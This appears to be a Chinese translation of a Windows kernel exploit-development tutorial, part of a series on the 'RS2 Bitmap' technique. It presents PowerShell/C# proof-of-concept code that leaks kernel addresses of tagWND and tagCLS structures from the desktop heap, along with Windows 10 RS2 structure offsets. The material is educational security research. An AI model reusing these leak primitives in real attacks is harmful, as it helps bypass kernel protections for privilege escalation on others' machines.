- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
Leak 1 => TEB.Win32ClientInfo
我们想做的第一件事就是去泄露 tagWND 和 tagCLS Window 结构体的内核地址。我们将以 Morten 的泄露手法开始,它提供了更好的背景去理解第二部分泄露。
下面的推文给予了我们所有的细节来从用户映射的桌面堆中泄露出地址,同时也告诉了我们如何去 t 通过用户模式版本计算出内核模式版本(ulClientDelta) 的偏移量。
看起来指向用户模式版本的指针被存在 TEB.Win32ClientInfo+0x28 的位置,而指向内核模式版本的指针存在该地址偏移 0x28 处的更远的地方。Client delta 即是内核地址减去用户地址。我们可以简单的把脚本编在一起来获取这个数据。
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr TebBaseAddress;
public IntPtr ClientId;
public IntPtr AffinityMask;
public IntPtr Priority;
public IntPtr BasePriority;
}
public static class TEB
{
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationThread(
IntPtr hThread,
int ThreadInfoClass,
ref _THREAD_BASIC_INFORMATION ThreadInfo,
int ThreadInfoLength,
ref int ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
}
"@
# Pseudo handle => -2
$CurrentHandle = [TEB]::GetCurrentThread()
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
$RetLen = New-Object Int
$CallResult = [TEB]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
echo "`n[+] _TEB.Win32ClientInfo: $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap: $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta: $('{0:X16}' -f ($TEB_KernelDesktopHeap-$TEB_UserKernelDesktopHeap))`n"
运行 POC,给出如下输出。
我们可以简单的在 KD 中证实。
对桌面堆的分析超出了本文的范围,更多信息可以参考 here 。
扫描桌面堆
很好,下一步就是创建一个 Window 对象并扫描桌面堆来找到它。微软在 Windows 8 之后不再公开 tagWND&tagCLS 的符号了,所以我们只好在 Windows 7 上看看 。
如我们所见,tagWND 的 2 第一个 IntPtr 值是 Window 句柄(通过 CreateWindow/Ex 返回)。同时也注意到 tagWND->THRDESKHEAD->pSelf 是一个指向内核中 tagWND 的指针,我们实际上可以通过内核 tagWND 的地址减去用户 tagWND 的地址来计算出 ulClientDelta。最后一点需要注意的是 tagWND&tagCLS 结构体在 Windows 10 RS2 中有一些变化。通过简单的逆向我们找到了一些变更的相对偏移。
x64 Pre RS2 (15063)
Window handle => 0x0
pSelf => 0x20
pcls => 0x98
lpszMenuNameOffset => pcls + 0x88
x64 Post RS2 (15063)
- Window handle => 0x0
- pSelf => 0x20
- pcls => 0xa8
- lpszMenuNameOffset => pcls + 0x90
在桌面堆上找到一个 Window 相当的直接,从桌面堆的基地址开始我们可以读出 IntPtr 尺寸的值并将其与特定的 Window 句柄进行比较。一旦我们匹配上了句柄,就掌握了到 tagWND 结构体起始位置的偏移。更新 POC 并运行。
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr TebBaseAddress;
public IntPtr ClientId;
public IntPtr AffinityMask;
public IntPtr Priority;
public IntPtr BasePriority;
}
public class DesktopHeapGDI
{
delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.UInt16 RegisterClassW(
[System.Runtime.InteropServices.In] ref WNDCLASS lpWndClass
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern bool DestroyWindow(
IntPtr hWnd
);
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationThread(
IntPtr hThread,
int ThreadInfoClass,
ref _THREAD_BASIC_INFORMATION ThreadInfo,
int ThreadInfoLength,
ref int ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern void DebugBreak();
private IntPtr m_hwnd;
public IntPtr CustomWindow(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
UInt16 class_atom = RegisterClassW(ref wind_class);
m_hwnd = CreateWindowExW(
0,
class_name,
String.Empty,
0,
0,
0,
0,
0,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero
);
return m_hwnd;
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create Window]
# Call nonstatic public method => delegWndProc
$DesktopHeapGDI = New-Object DesktopHeapGDI
# Menu name buffer
$Buff = "A"*0x8F0
$Handle = $DesktopHeapGDI.CustomWindow("TestWindow",$Buff)
#$Handle.ToInt64()
echo "`n[+] Window handle: $Handle"
#------------------[Leak Desktop Heap]
# Pseudo handle => -2
$CurrentHandle = [DesktopHeapGDI]::GetCurrentThread()
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
$RetLen = New-Object Int
$CallResult = [DesktopHeapGDI]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
$ulClientDelta = $TEB_KernelDesktopHeap - $TEB_UserKernelDesktopHeap
echo "`n[+] _TEB.Win32ClientInfo: $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap: $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta: $('{0:X16}' -f $ulClientDelta)"
#------------------[Parse User Desktop Heap]
echo "`n[+] Parsing Desktop heap.."
for ($i=0;$i -lt 0xFFFFF;$i=$i+8) {
$ReadHandle = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap + $i)
if ($ReadHandle -eq $Handle.ToInt64()) {
echo "[!] w00t, found handle!"
$UsertagWND = $TEB_UserKernelDesktopHeap + $i
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($UsertagWND + 0xa8)
break
}
}
echo "`n[+] User tagWND: $('{0:X16}' -f $($UsertagWND))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($UsertagWND+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
#------------------[Break]
Start-Sleep -s 20
[DesktopHeapGDI]::DebugBreak()
这种读操作没什么问题,我们立即得到了下面的反馈结果。注意到 PowerShell 提示符没有返回,这是因为我们需要在 script 退出前断下来。
在 KD 中用 dq/db 来看看我们成功计算出的所有相对偏移。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论